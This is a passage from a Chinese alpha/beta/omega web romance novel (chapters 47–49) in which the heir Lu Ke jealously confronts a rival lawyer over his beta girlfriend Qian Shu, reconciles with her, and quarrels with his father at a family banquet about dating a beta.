在这样严肃正经的场合,陆恪给她发了一张勾人的照片。 千述有一种在光天化日之下,被男狐狸精勾住,动弹不得的窘迫感。 “都是你咬的,千述,破皮了都,很痛。”陆恪又发来一条语音,懒洋洋的,还带着责怪。 千述垂着眼,输入了很久,字打了又删。最后发了一句过去:“我给你买一盒创可贴,外卖很快就能送过来。” “贴上,穿衣服的时候就不会磨到了。” “我不要,好丑。”大少爷很嫌弃,他怎么可能在那里贴创可贴。 千述又沉默了,那要怎么办呢,好像也没有别的办法了。 陆恪在另一边,好像能感受到千述现在有些呆滞,不知道如何处理的情绪。心里终于没那么堵,感觉畅快许多。 他本来也没有痛得多厉害,陆恪就是想要捉弄那个女beta。惩罚她今天一定要离开,把他丢下的行为。 今天是陆恪易感期结束的第二天,千述已经离开了云栖御庭,开始来公司上班了。 冷漠狠心的女人。 alpha和omega在完成标记以后,会有一段时间的依赖期,时间长短由二人之间信息素的匹配程度来决定。 这段时间alpha和omega都很需要对方的信息素进行安抚,尽管不像易感期那样激烈,但是最好不要分开太久。 但是千述是beta,她和陆恪也没进行过标记。所以在千述看来,陆恪对她应该是没有依赖期的。 但其实不然。 “今天下班,我来接你。”陆恪言简意赅,发了一条消息过去,带着一点任性。 “不用麻烦,我可以坐地铁。”千述拒绝道。 陆恪那边许久没发消息过来,千述以为他同意了,还暗自感叹今天陆恪很好说话。 千述正准备放下手机,进入工作,微信又响了。 陆恪发来了一长串文字,没有感情,全是指责。 “千述,我今天才易感期结束第二天,你就把我一个人扔在家里 ,不闻不问。因为你,我浑身都很痛,但是你一点也不关心我。你还让我贴丑陋的创可贴,你是一个冷漠无情的女beta,我讨厌你。” “很讨厌。” 第47章 第47章你离我远一点 陆恪的车库里也不全是张扬的超跑,有时候他也会开一些比较低调的车。 比如说今天来接千述下班,开的就是一辆黑色的卡宴。 这种沉稳低调的车,和陆恪张扬肆意的性格不太符合,但是他今天就是选了这辆。 千言集团自从贺诚军掌权以后,就加班文化盛行,本来应该下午六点准时下班的,但现在员工得加班晚上八九点。 这样的工作氛围让集团里的员工怨声载道,不过也没办法,要离职的早就离职。剩下没离职的,各有各的苦处,只能忍耐下班以后继续加班的日子。 “稍微等我半个小时,我手里还有一个表格需要提交。” 陆恪在楼下收到了千述发来的消息。 现在晚上七点多,正是下班的高峰期,大楼里不断有人进出,很是热闹。这栋大厦里,有好几家公司,也容纳了很多员工。 陆恪的车停在了楼下露天的停车场,离大门口就几步路。周围来来往往都是下班的员工。千述没出来,陆恪只能百无聊赖的玩手机。 方知明给他发消息:“陆哥,你在家吗?出来玩。陈敬今天晚上在元綦江办游艇party。” “他让我问你一声,能赏个面子去玩儿不。” 陆恪垂着眼眸,输入:“不去。” 随手拍了一张车外的照片,发了过去:“我不在家,在外面。” “陆哥,这是哪儿?这栋大厦我看着也不像是陆氏集团的大厦。”方知明疑问。 相较于别的中小型公司,需要租用写字楼。陆氏集团则是有独属于自己的大厦,矗立在A市国贸CBD,形成了地标性建筑。 现在陆恪心情好,甚至颇为好心的给方知明甩了一个定位过去。 “陆哥,你去融科中心干啥,谈生意吗?这边有啥新生公司值得投资,你也带带我。” 方知明深觉陆恪好卷,在他不知道的地方偷偷努力。 “没有。”陆恪回答。 “那你去那边是为了?”方知明问道。 “我在等千述下班。”陆恪慢悠悠的发了一句过去。 方知明那边沉默良久,最后发了一个“……”过来。 在线求解。 兄弟太恋爱脑怎么办? 陆恪挑了挑眉,心情颇好的收起手机。 在方知明面前秀恩爱怎么了?方知明以前天天在陆恪面前秀他那个omega女友。 一会儿是给方知明买了这个,一会儿又是两人去北欧旅游。发朋友圈一天能发两三条,发朋友圈也就算了,还要给陆恪发消息问候,贴脸开大。 他的幸福太扎眼了。 陆恪把蓝牙音乐开着,好心情的跟着哼了几句。 他飙车的时候喜欢听音乐,以前喜欢听重金属摇滚,心脏和密集的鼓点同频振动,感受猛踩油门时产生的推背感,很刺激。 但是现在,陆恪懒懒的靠在椅背上,耳边是随机播放的慢悠悠的情歌,他也觉得挺顺耳。 这种平和,闲暇,充满期待的时间,在陆恪的人生中很少出现。在绝大多数,陆恪都觉得生活是阴郁,虚伪,让人厌恶的。 他面对世界,呈抵抗状态。 只有在千述身边,陆恪才能得到片刻宁静 陆恪拿着手机翻看着相册,第一张就是千述穿着浴袍,站在窗边。那个时候他们在卧室里已经呆了三天,窗帘三天都没拉开过。 等陆恪易感期结束,千述才真正把窗帘拉开。她洗了澡,清醒了很多,陆恪还躺在床上,浑身酸软,根本没力气。 空气里已经不仅仅是alpha信息素的气味了,还混着事后的有点糜烂迤逦的气息,让人脸红心跳。 外面的光刺得陆恪眼睛眯了眯,他的目光根本没办法离开千述,随时都放在她的身上。 阳光勾勒出千述的身形,高挑清瘦,脖颈纤长,冷冷淡淡的样子。 在那一刻,陆恪的心脏是满溢的,对千述的喜欢都快放不下了,溢了出来。他也不知道自己为什么要拍下千述的背影。 反正就是拍了。 半个小时过了,千述还没有出来。陆恪正准备给她发消息询问,他抬眼往写字楼大门看去。 然后看到两个熟悉的身影,陆恪眉头一皱。 …… 千述在8点的时候,终于把手里的工作处理完。她知道陆恪在下面等她,所以敲键盘的动作快了点。 表格提交以后,她把电脑关了,收拾东西往外面走。电梯门口站了两个下班的同事,也在等电梯。 他们给千述打了声招呼,交谈了几句,千述也礼貌的微笑回应。 她在外总是挂着平和沉静的假面。 电梯门开,众人走进电梯。里面已经站了好些人,都是下班的员工,其他公司的。有两人西装革履,干练有质感。 “千述。”电梯里传来温润,带着惊喜的声音。 千述抬眼看去,蒋屿站在电梯里。 干净明亮的大厅里,冷冽的大理石地面倒映出来往的人影,三人站立在写字楼的大厅里。 蒋屿给千述介绍,他温和笑道:“这位是刘启言,是律所的同事,比我早工作两年,算是我的前辈。” 随后蒋屿和身边的刘启言介绍千述。 “这位是千述。千述也是A大的,她大四,马上就毕业了。” “那还真巧,原来是学妹啊。你好,我是刘启言。”刘启言笑眯眯的向千述伸出右手。 千述也礼貌伸手,与他轻握了一下:“你好,我叫千述。” 刘启言是个人精,眼睛在千述和蒋屿身上瞥了两眼。一下就看出来蒋屿对千述不一般,他和千述有事情要说。 刘启言向蒋屿眨了眨眼,识趣道:“蒋屿,我就先回律所了,我东西还在办公室,你们慢慢聊。” “好的,明天见。”蒋屿顺势点头道。 刘启言走了,就只剩下了千述和蒋屿 蒋屿看着千述,道:“我今天来这里处理案子,没想到能遇见你,还挺幸运的。” “你这是到你家的公司上班了吗?” 两人一边聊天,一边往门外走。 千述点头“嗯”了一声:“今天是第二天来上班。” “那恭喜你,离成功又近了一步。”蒋屿轻笑。 他没有问千述是怎么让贺诚军答应的,毕竟要来千言集团上班,千述肯定做出了努力,甚至可能为此低头。 “现在还没用,他很警惕,给我分配的职位都很边缘,什么也接触不到。”千述淡淡道。 大厅里的光线落在千述的眼中,冷淡平静。她已经过了最开始发现真相,情绪起伏的时间段了。 “慢慢来嘛,总能找到他的疏漏之处。”蒋屿安慰,他思考了一下,道,“或者做个局,让他上钩。” 听到这儿,千述抬眼看他,道:“怎么做局?” 蒋屿是金融律师,商业上的东西接触了太多太多。很多商 业上的阴招,他也处理过。 “可以找人虚构一笔与历史可疑交易模式相同的业务,与贺诚军谈合作。然后在合同中埋入可追踪标记,例如特定账户……” 两人边说边走出大厅,蒋屿娓娓道来,千述听得也很认真。 蒋屿和千述站在楼下交谈。现在已经天黑,到处都亮起了灯。身后的大楼更是灯火通明,里面有无数人奋斗的身影。 他们在门口的角落处站了一段时间,但是这事三言两语根本说不完,而且现实操作起来也很困难。 “下次找机会详细聊这个,你吃晚饭了吗?”蒋屿问道。现在还不算太晚,吃饭的人也挺多的。 蒋屿看着千述,灯光映在他的眼里,特别的温柔。 千述摇头:“还没有。” “附近的商圈里有很多餐厅,网上有一家法餐评分还不错,今天我请你。”蒋屿微笑着说。 现在是晚上,霓虹灯光闪耀绚丽。 他们两人站在一起,气质很搭配,很养眼。都是平淡温和的样子,看着脾气很好,不会吵架。 路过的人都会下意识看他们一眼,以为是情侣。 千述摇头,拒绝道:“不了,今天有人来接我。” “哦,是这样啊。”蒋屿有点遗憾,不过他也没有强求。蒋屿唇角微勾,道:“那下次吧,下次再请你吃饭,好吗?” 千述刚想点头同意,身后就传来冷冽的声音,侵略性极强:“不好。” 二人回头望过去。 陆恪穿着黑灰色的上衣,宽松牛仔裤,冷帽,银色耳钉,身高腿长,很潮。跟西装革履,遍地精英的CBD很不搭。 他刚刚在车上就看到千述和蒋屿站在门口,两个人言笑晏晏。尤其是那个蒋屿,都笑成什么样了。 勾引人的心思不要太明显。 蒋屿看到陆恪来了,眼眸幽深,转瞬间又恢复澄澈。他看向千述,柔声道:“千述,陆先生连你吃饭也要管吗?他还真是关心你。” “要不陆先生一起来吃晚饭吧,就算多一个人也不打紧的。”蒋屿善解人意,非常得体的说。 蒋屿说话的时候,语调是温和沉稳的,听他说话,会觉得他这个人很真诚善良。 但是听在陆恪耳朵里,那简直魔音穿耳,难听得要命。 靠,什么意思? 阴阳陆恪管得宽?离间他和千述的关系,然后自己好上位?!谁要吃他一顿饭啊! 陆恪真气死了。 他越是生气,眉眼间就越是张扬。他挑眉一笑,凤眼凌厉:“不好意思,蒋律师的饭还是留着自己吃吧。” 陆恪走到千述身边,当着蒋屿的面握住千述的手,然后手指滑进去,十指相扣。宣示主权一般。 “我们已经在一起了,蒋律师以后也应该注意一点分寸,不要总是想着约别人的对象吃饭。” 陆恪这话说的刺耳,他真是怒火中烧,早就看这个蒋屿不顺眼了。以前没身份,不好说什么,只能生闷气。 今时不同往日,他都跟千述上过床了,千述可是要对他负责的。 “况且蒋律师还比我们大几岁,按理来说我和千述应该叫你一声哥了。蒋律师年纪大,肯定是懂这些道理的。” 陆恪阴阳怪气,内涵蒋屿年纪老。 蒋屿的神情怔了一瞬,脸色变了变。他没有回嘴,似乎被陆恪怼的说不上话,看着可怜的很。 蒋屿甚至没搭理陆恪,他只是看着千述,轻声问道:“你和陆先生在一起了吗?” 又装出这副样子,让千述同情他。 陆恪看着就烦。 “我们当然在一起了。”陆恪夺过话题,他眉眼间的攻击性太强,几乎是咄咄逼人。 陆恪扯唇一笑,居高临下的说,“我们不仅在一起了,我们还做……” “行了。”千述打断了陆恪越发偏激的言论,语气冷静,“你先回车上等我。” 真是越说越偏了,再让他说几句,连床上的姿势都能被他说出来,用来攻击蒋屿。 夜风冷冽刮过,现在已经到了冬天。室外很冷,呼吸一下都能看到白气。但是这样冷的天气,却无法浇灭陆恪的怒火。 陆恪的话音一滞。 他不可置信的看着千述,她神情平淡。陆恪的仿佛心脏被刺了一下,有点慌。又看向对面垂着眼,装绿茶的蒋屿。 他强撑着气势,不愿低头。 “凭什么?”陆恪咬牙切齿道,声音都大了起来,“凭什么我要离开?千述,要知道我才是跟你在一起的!” 大少爷几乎是得理不饶人的。平日里,陆恪就算没理也要辩三分。现在他有理,那个气势,简直是张牙舞爪,来势汹汹。 “千述,他在想什么,难道你不知道吗?”陆恪指着蒋屿,咬紧了后槽牙,“他以为别人是傻子,看不出来他那肮脏的心思?!” 千述看着陆恪蕴着怒气的面容,心里又开始产生那种觉得陆恪麻烦,很难哄好的疲惫感。 说实话,她上了一天班,挺累的。 “你能去车上等我吗?”千述看着陆恪,又问了一次。 她的神情变得很淡,语气也是。 陆恪紧抿着唇,心中的酸涩又涌了上来,鼻子瞬间就酸了。只要千述很冷漠的对待他,他就承受不住,变得很难过。 陆恪不说话了,他几乎是怨恨的剜了一眼对面的蒋屿,然后转身就走,大步流星。 因为陆恪的离开,空气一下子变得寂静,夜风变得越来越冷了,吹的人头疼。 千述和蒋屿之间的氛围也变得冷清下来。 沉默半响,蒋屿开口,他带着歉意道:“我没想到陆先生会这么生气,我只是想约你吃个晚饭而已。” “蒋屿,我和他在一起了。”千述冷不丁的开口。 她黑沉的眼睛看向蒋屿,没有多说什么。但是千述知道蒋屿一定懂她的意思。 蒋屿愣住,睫毛轻颤。良久,轻声道:“哦,是吗?” “那很好。” 蒋屿的声音很轻,被风一吹,就散在空气里。 “嗯,再见,今晚不能和你一起吃晚饭了。”千述打了声招呼,就转身离开。 “千述。” 黑夜中,蒋屿唤了一声,千述的脚步顿住,她转过身来。 “千述,我们还是朋友吗?”蒋屿望着千述,很温和的笑,尽管嘴角的弧度看起来有点勉强。 千述点头“嗯”了一声。 “好。”蒋屿的眼尾有点红了,不知道是风吹的,还是别的原因。 “那你先走吧,再见。”蒋屿微微一笑,体贴又周到。 “再见。” …… 陆恪坐在了后座,本来他是来接千述下班的,但是现在他连车都不想开了。 他觉得自己真是贱,上赶着要来接千述。正好看到千述和别人眉来眼去,你侬我侬。 千述一打开车门,就看见昏暗的车内,陆恪抱臂坐在后面。他戴着耳机,看着窗外,侧脸冷峻,连目光都不肯分给千述半分。 千述没说什么,把包放在副驾驶,启动车辆驶离了停车场。 车内静谧无比,仿佛时间的流速都变得缓慢,变成了独立的空间。与车外繁华喧嚣,车水马龙的世界完全不同。 陆恪耳机里的音乐震天响,带着狂野的咆哮和激烈的嘶吼,但是他的心脏却怎么也无法随着音乐的节奏跳动起来。 一下又一下,沉重,缓慢,像是被浸泡在酸涩的水中。 陆恪抬眼,从内后视镜中,看着千述的眉眼。千述目视前方,神情平淡,没有太多情绪。 像是没有涟漪的湖泊,看不清下面有多深。 陆恪又开始难过了,心里很闷,他在千述面前总是如此。 两人的目光在内后视镜中相撞,陆恪猛的撇开眼,紧抿着唇,眼皮红红的。 千述沉默,把目光放在前面的道路上,没有分心,也没安慰什么。 无论陆恪再如何张牙舞爪,锐利嚣张,但是倒映千述平淡的眼眸中,就像是被剪了利爪的猫,挠人一点也不疼。 只是在闹脾气而已。 车停在云栖御庭的地下车库时,熄火,两个人都坐在车上没有下去。 仿佛在对峙。 陆恪不愿意低头,他本来就没有错。但是千述看起来好像也没有哄他的意思。 时间一分一秒的流失。 昏暗的车内,后座吸鼻子的声音尽管压的很低,但依然十分 清晰。 千述心里叹息一声。 猫猫的领地意识很强,会对别的入侵者有敌意。在面对潜在威胁时,会竖毛龇牙,以此来警告入侵者。这都是正常的。 千述,你就哄哄他。 车门“砰——”一声被关了,千述下了车,陆恪猛的抬起头来,前面已经没有人了。 陆恪神情一瞬间变得空白,自己被留在了这个黑暗的空间里。 千述走了,她生气了。 陆恪不清楚自己现在在想什么,又或者什么都没想。他只是手忙脚乱的要打开车门,去追上千述。 千述不能把他一个人留下的。 下一秒,后座的车门开了,千述坐了上来。 “你在干什么?”千述看着陆恪慌乱的动作,问道。 千述的声音出现在身后,陆恪怔怔转身,唇抿成一条直线,很倔强的不开口。 “你以为我走了,我把你一个人丢在这里。”千述平静道,她太了解陆恪了。 陆恪在她面前,就像是完全透明的一个人,喜怒哀乐都由千述主导。 “过来。”千述张开手,看着闹脾气的人。 陆恪不要,他冷声道:“你身上有别人的气味,很难闻,离我远一点。” 真离远了,大少爷又不高兴了。 第48章 第48章胡闹 陆恪家里的沙发很大,可以做很多事。平日都敞开的窗帘,今天晚上拉了起来。 客厅里只开了氛围灯,昏暗的,朦胧的。 千述看着自己身前的人,抬头望着天花板。 锁骨上,脖子上都是某人吸的红痕,alpha致力于在千述身上留下自己的痕迹,来掩盖那个omega残留的信息素。 陆恪亲着亲着就往下,开始跪在千述面前,很危险的姿势。陆恪在取悦千述这件事情上驾轻就熟,服务意识也很强。 千述踹了一脚陆恪的肩膀,警告道:“我现在没想法,你别太过分。” 实在是前几天太荒唐了,被alpha缠着,门都出不了。千述真切感觉自己有点太放纵了,需要休息。 陆恪跪在地毯上,抬眼看着千述,嗤笑道:“才三天你就不行了?” 千述哽住:“” 是三天! 不是三个小时,也不是三秒。 千述不跟他一般计较,她把人拉上来,按在沙发里。角落里昏黄的灯光落在陆恪的侧脸,将他冷硬的线条柔和了许多。 “现在不生气了?”千述问道。 刚刚在车里,脾气真是,让千述招架不住。 陆恪看着她,凤眼微挑,冷哼一声。千述定定的看了他几秒,空气开始变得粘稠,像麦芽糖拉丝。 千述垂首去亲他,陆恪仰起头,与千述吻在一起。 兴趣正浓的时候,陆恪咬在千述颈侧。千述吃痛,陆恪又乖乖放开,伸出舌,轻轻舔舐那处的肌肤。 “不准有别人。”陆恪哑声道,蹭着千述的唇角。 “如果被我抓到你有了别人,你还有那个勾引你的贱人,我都不会放过。” 或许是因为和千述彻底在一起了,陆恪性格里的占有欲完全的展现了出来,很偏执。他之所以今天闹这么大脾气,就是没有安全感。 因为千述身上沾染着别的omega的信息素,恶心,很难闻。 按道理说陆恪是alpha,他应该会被omega的信息素引诱。 但是现实却完全相反,只要是出现在千述身上的,不属于陆恪的气味,无论是alpha还是omega。 陆恪统统都很反感。 千述是beta,没办法被alpha标记。这不仅让陆恪在生理上无法感知千述的情绪,还在生活中无法向外人宣誓自己的主权。 这让陆恪时刻都处在不安之中。 “如果我和别人在一起了怎么办?”千述亲亲陆恪的鼻子,笑着问道。 “我会把你抢回来。”陆恪看着千述,直勾勾的盯着她,“然后找一个没人认识我们的地方,把你关起来,让你只能看着我。” “那个勾引你的贱人,我也会让他失去所有,无论是金钱还是地位,直到沦落成为城市下水道的老鼠。谁让他这么不要脸,来插足我们的感情。” 陆恪丝毫没有觉得自己这番言论阴暗偏激,因为在他看来,自己拥有的已经很少了,为什么还要把千述从他身边夺走。 这是他绝对不允许的。 千述有心逗他:“可是我已经喜欢上别人了呢?如果我喜欢上了别人,我肯定不愿意跟你回来啊。” “就算你把我关了起来,我心里想的也是别人。” 千述只是在逗他,但是陆恪的神情却怔了怔,陷入了迷茫。 他似乎没有想过这个问题。 在陆恪的印象里,千述从来都是围着他转的。无论是以前千述假意追他,还是后面他们纠缠暧昧的那段时间。 千述的目光从来都在陆恪身上,没有过别人。 尽管现在出现了这个蒋屿,但是在陆恪看来,也只是个边缘角色。 蒋屿能为千述付出什么呢?他如此的懦弱,连心里的喜欢都不敢说出来。 千述永远不可能会接受这样含糊,怯懦的感情。 可是陆恪不一样,他是爱千述的。他可以把自己的全部都奉献给千述,他甚至愿意伏在她的身下,任她在自己身上随意施为。 千述没道理不喜欢上这样的陆恪。 所以陆恪从来没有想过千述会喜欢别人,就像陆恪被千述吸引,千述也被陆恪身上炽热的爱意吸引着。 可是如果有一天,千述真的喜欢上别人了呢? 如果有一个人,比自己更加爱千述,吸引了千述的目光。那陆恪又该怎么办呢? 他就会变成没有任何价值的人偶玩具,被千述随意的丢弃在角落,然后可怜的看着千述幸福的拥抱着别的玩偶。 那真是太糟糕了。 光是想想都让陆恪心脏缩成一团,隐隐阵痛。 陆恪蹭了上去,重重的咬在千述的唇上。他的鼻子很酸,眼睛里也涌上热意,恨恨道:“不准喜欢别人,只能喜欢我。” 千述被他咬得疼,啧了一声。她撬开陆恪的牙关,攻城略地,掌握了主动权。陆恪被亲得脑袋发晕,溺毙在千述的亲吻中。 “不准喜欢别人。”陆恪喘着气,含含糊糊的说。 “他们都没有我爱你。”陆恪含着湿意的眼睛,清凌凌的看着千述,“千述,没有人会比我更加爱你。” “他们也没办法满足你的欲望,只有我可以。玩alpha难道不刺激吗,别人不一定有我做得好。” 好的,越说越偏了。 陆恪一边亲吻千述的唇,一边说着无敌逆天话。要真让他那群朋友看到陆恪现在这个样子,估计眼珠子都能瞪出来。 “你这么凶,我哪里还敢喜欢别人。”千述松开陆恪的唇,抿了一下唇,刺痛,被狗咬的。 “一闹起脾气来,简直是无法无天的,真是狗脾气。”千述看着某人迷离的双眼,吐槽。 别看他现在柔软的躺在千述身下,任她搓圆揉扁,乖的很的样子。 今天晚上,那是脾气大得很。 她和蒋屿就在楼下讲几句话,还说的是正经事。陆恪就气冲冲的上来,对着蒋屿就是一顿冷嘲热讽。 事后在车里,也是得理不饶人。说千述身上粘着omega的气味,很难闻。还说千述偏心,明明知道那个omega居心不良,却反过来凶他。 千述说没凶他,解释她和蒋屿只是电梯里碰到了而已 。 陆恪反过来骂千述眼瞎,说她揣着明白装糊涂,知道蒋屿喜欢她,还不保持距离。 但是天地可鉴,她和蒋屿难道不是一直保持着社交距离吗? 给千述气得不行,按着人在车里操了一顿,不闹了 陆恪顶着脖子上的几个草莓印,去参加宴会了。 这次是私宴,没多少人,都是平日里走得亲近的几家,在生意上也有着亲密的往来。陆恪已经很久没回老宅了,也很久没有看到陆凌风了。 那次和陆凌风吵得还挺大的,可以说是两败俱伤。 后来陆凌风来找过陆恪几次,他心知是自己愧对这个儿子。所以就算陆恪对亲爹态度差,陆凌风也没说什么。 包括后面时谨也给陆恪发过消息,说她上次并非是故意那样说的,只是看到陆凌风身体不舒服,太着急所以对陆恪说话重了点。 陆凌风和陆恪之间的父子矛盾,时谨从不参与。尽管她也有私心,毕竟她有陆昱辰,总得为他争取点什么。 但是时谨对待陆恪,也是做到了一个后妈应尽的责任,既不过分疏离,也没有太过亲近。 保持着一个恰当的距离。 陆恪回了句:“没事。” 陆恪从不对时谨和陆昱辰发脾气,很客气,他一向分得明白。 陆恪下了车,就把钥匙丢给了门童。餐厅的侍应生带着陆恪上了顶楼。 宴鸿楼是A市颇具盛名的一家酒楼,以戏曲文化为主题,菜品精美可口,装修风格高端典雅。是高端商务宴请的不二之选。 尽管在A市很火,老板却没有想着开分店,担心不能维持品质。所以许多人慕名来宴鸿楼聚餐。 楼上是一个大包房,陆恪推门进去的时候,里面已经坐了很多人。现在才刚刚开始上冷菜,有酒楼的人在表演川剧变脸,里面欢呼声阵阵。 陆恪一进来,方知明就看到了陆恪。他兴奋的向陆恪招手,让陆恪坐他旁边。 按理说,方知明家境是够不上这样的私宴的。但是后来方家发展势头猛,尤其是方知明他哥接手以后,更是势如破竹,这是以第一个原因。 第二个原因就是陆恪和方知明实在玩的好,身边就他这么一个至交好友 陆恪走了过去,坐在方知明身边的是他的父母还有哥哥。 “叔叔阿姨,方大哥。”陆恪跟方知明的家人一一打了招呼。 方知明他大哥点点头,很沉稳,“嗯”了一声。 倒是方知明的父亲关心了陆恪几句:“听说你和你父亲闹了矛盾?” 陆恪抿着唇,没说话。 方知明的父亲劝他:“都是一家人,亲父子,哪里有隔夜仇呢。你看方知明我从小打到大,他不照样没记性吗。” 方知明在旁边听得一头问号,抗议道:“爸,小时候的事你就别拿出来说了,我不要面子的啊!” “我只是拿你举个例而已,你别给我打岔。” 方知明的父亲还想继续说,被身旁的妇人掐了一把:“吃饭就吃饭,问这么多干什么。小陆长这么大,早都明事理了,用不着你一个老头子来教。” 方知明的父亲闭嘴了。 方知明对着陆恪挤眉弄眼,他凑到陆恪面前,揶揄道:“陆哥,来的时候遮遮呗,你看脖子上多显眼啊。” 包厢里温度高,陆恪进了房间就脱了大衣。他里面就穿了件羊毛衫,脖子露在外面。上面的红痕简直不要太明显。 明眼人一瞧就知道是怎么留下来的。 “千述咬的吧。”方知明贱嗖嗖的,咧着个大嘴笑,“陆哥,我就说千述爱惨你了吧。你看这留了那么多印,不就是在宣告主权嘛!” 陆恪垂着眼没说话,不过心里听爽了。 其实这些印是陆恪闹着让千述留的。 千述确实喜欢咬陆恪,厮磨着。不过都是在衣服下面,看不见的地方。千述觉得,还是不要大剌剌的露在外面,有碍观瞻。 但是陆恪振振有词道:“如果你不在我脖子上盖章,别人怎么知道我是有主的。” 他这副有理的样子,千述还找不到话反驳,就顺势留了几个。 门又被推开,是陆凌风携着时谨还有陆昱辰来了。看起来家庭和睦,幸福美满的一家三口。 现场又开始了一番热闹的交际,讨论着生活中,商业上的事。 时谨轻轻推了推陆昱辰的肩膀,低声道:“去找哥哥。” 陆昱辰有些踌躇,眼巴巴的看着陆恪,不敢上前。 陆昱辰现在已经很懂事了,小孩子对情绪的感知是很敏感的。陆昱辰知道哥哥生了很大的气。 哥哥讨厌爸爸,哥哥也可能讨厌他,陆昱辰很难过。 陆昱辰往陆恪的方向走了两步,又攥着拳头,停在了原地,不知道陆恪欢不欢迎他过去。 陆恪望了过来,他看着陆昱辰皱着眉的小脸,漫不经心的向他招了招手:“小鬼,过来。” 几乎是立刻,陆昱辰的眼睛就亮了,他噔噔噔的跑到陆恪旁边,坐在了陆恪旁边。 陆昱辰仰着脸看陆恪,小声道:“哥哥。” 陆恪“嗯”了一声,抬手揉了揉陆昱辰的头发。 旁边的方知明也探过头来,笑着跟陆昱辰打招呼:“弟弟,好久不见呀。” 陆昱辰礼貌道:“知明哥哥,好久不见。” 陆凌风跟人打了一圈招呼,最后才走到陆恪面前。时谨忙把陆昱辰叫了起来:“过来妈妈这边,让爸爸坐哥哥旁边。” 陆昱辰心里虽然不舍,但还是很乖巧的起身,把位置让给了陆凌风。现在的位置变成了陆恪右边是方知明,左边是陆凌风。 陆凌风一眼就看到了陆恪脖子上的红痕,陆恪压根就没想着遮掩。 “谈恋爱了?”陆凌风问道。 他现在其实跟陆恪没什么话题聊,很尴尬,只能聊些有的没的。 陆恪“嗯”了一声,淡淡道:“谈了。” “哪家的人,是omega吗?什么时候带回来让爸爸看看。”陆凌风对陆恪的另一半,心中已经有了好人选。 都是知根知底的,omega,性格好,家里又熟悉。但是陆恪之前非常抗拒,连面都没见就走了。 现在陆凌风也不管他的这些,怕惹陆恪厌烦。 “你认识的。”陆恪看着父亲,道,“千述。” “千述?”陆凌风反问,他终于有了一点印象,以前陆昱辰的家庭教师。 “千述不是beta吗?”陆凌风皱眉,不赞同道,“这怎么行!” “你是alpha,和beta在一起,怎么解决易感期,难道一直用抑制剂?” 陆凌风不是没见过alpha和beta结婚的,都是因为年轻时候喜欢。到最后,要么就是离婚了,重新找另一半。要么就是alpha在外面找了omega生了私生子。 总之很少有善终的。 这不是说陆凌风看不起beta,或者怎么样,纯粹是alpha和beta在基因上就不匹配。 “我就一辈子用抑制剂,不行吗?”陆恪声音冷冽,满不在乎道。 “你简直是在胡闹!”陆凌风斥道。 第49章 第49章陆家养的小白菜 陆凌风对陆恪满不在乎的态度十分不满。 “你和一个beta在一起,到底是在闹着玩的,还是说你纯粹是为了气我?”陆凌风真是百思不得其解。 自己的儿子,一个alpha放着omega不喜欢,喜欢一个普通的beta。 “我认真的。”陆恪面色坦然,他转头看着陆凌风,一字一顿道,“我喜欢千述。” “千述她也喜欢我,你知道吧,大一的时候她就开始追我,追了我很久,我才答应和她在一起的。” 陆凌风:“……” 为什么会猝不及防的吃到儿子的狗粮 。 “她是很喜欢你……不对,”陆凌风哽了一下,思绪都凌乱了,“无论她喜不喜欢你,你们都不合适!” “她是beta,你知不知道!”陆凌风眉目肃然,声音严厉。 “我知道。”陆恪云淡风轻的,丝毫不把他爸的话放在心里,“我从一开始就知道千述是beta,可是我还是想跟她在一起。” “绝对不行!”陆凌风反驳道。 “爸爸可以不去管你和谁在一起,家世如何,能力如何,这些我都可以不管。” “但只有一条,必须是omega!” 在陆凌风看来,他已经给了陆恪完全的选择权,在选择伴侣上。陆恪不用去联姻,陆氏集团完全可以为他兜底。 但是他没想到的是,陆恪会喜欢一个beta。 这简直是在做违背基因的决定。 听到这话,陆恪也不耐烦了。脸色冷了下来,道:“你现在有什么资格来管我。” “我喜欢beta怎么了?我就算死外面了也轮不到你管!” “陆恪,我是你父亲!”陆凌风勃然大怒,猛拍自己面前的桌子。 包房里的氛围瞬间凝滞。 刚才还欢声笑语,现在就变得鸦雀无声,连根针落在地上的声音都能听到。 众人噤若寒蝉,纷纷往这边看过来。 在一旁片烤鸭的厨师,手瞬间顿住,这刀下也不对,不下也不对。 时谨在桌下拉了拉陆凌风的衣角,低声劝道:“老陆,吃饭的时候不要训孩子,大家都看着呢。” 经时谨提醒,陆凌风才发现桌上的人都看着他们。 在场的人都是人精,连忙笑嘻嘻的打圆场。 “老陆,你这是干什么呢?把我手中的菜都给吓掉了,白瞎了这上好的金丝虾。” “就是啊,这么多好吃的还堵不上老陆你的嘴。” 这次聚餐的有三家人,除了陆家、方家,还是有苏家。 苏家的经营方向是家电方面,例如空调,洗衣机这类家家户户必备的大型家电,在国内稳坐家电龙头老大。 苏家在小辈上有两个孩子,都是omega。大女儿苏向文,在国外读博,比陆恪方知明大几岁。小儿子苏向恒,还在读高中,比陆恪他们又小了好几岁。 小辈们年龄不相仿,比较生疏,但是老一辈却走得比较亲近。 苏家的掌事人是一位女性alpha。 她爽朗笑道:“老陆,这就是你不对了。吃饭就吃饭,天大的事儿都没吃饭大。” “你应该高兴,你两个孩子都在你身边。你看我家那个,去了国外十天半个月都没个音信的,想见都见不着的。” 因为有人在旁边打哈哈,现场的氛围得到缓解,很快又变得轻松愉快起来。 不得不说,陆恪的脾气也是随了陆凌风。只不过陆凌风在商场浸染了多年,学会了在人前伪装。但是陆恪年轻气盛,装不了一点。 …… 席间虽然有些许的不愉快,但是瑕不掩瑜,这依然是美好的一餐。 饭桌上大家都喝了不少酒,尤其是大人。红的白的,喝了挺多。 陆恪也喝了些,主要是方知明一直拉着他喝。 方知明最近和他对象吵架了,异国恋就是很容易出问题,方知明对象嫌他太粘人了。 早上要打视频,中午要打视频,晚上要打视频,一天都不能间断的。 一点自己的空间都没有了,于是就跟方知明吵了一架,说要跟他分手。不过对面也只是闹来玩的,吓吓方知明。 不过方知明不知道,他拉着陆恪借酒消愁,明明是来吃饭的,后来酒都喝饱了。 “陆哥,你说她为什么这么对待我,我只是很想她而已。” “我就一天给她打三个视频怎么了?我又不是给她打十个视频,怎么就没有自己的空间了?” 方知明喝醉了,在陆恪旁边哭嚎。一直抱着陆恪,趴在他肩上哭,跟那健硕版林黛玉一样。 陆恪“啧”了一声,瞥他一眼,这次没推开他,任他发酒疯。 陆恪拿着手机,垂眸打字,发送了出去。 “你在干嘛?” 很快,手机就收到了回复,千述拍了一张照片过来,正是打开的电脑页面,上面全是密密麻麻的字,还有图表,数据。 “老师把我的论文标注了一些地方,我现在正在修改。” 陆恪点开图片看了一眼,又退出。修长的手指在手机屏幕上敲击。 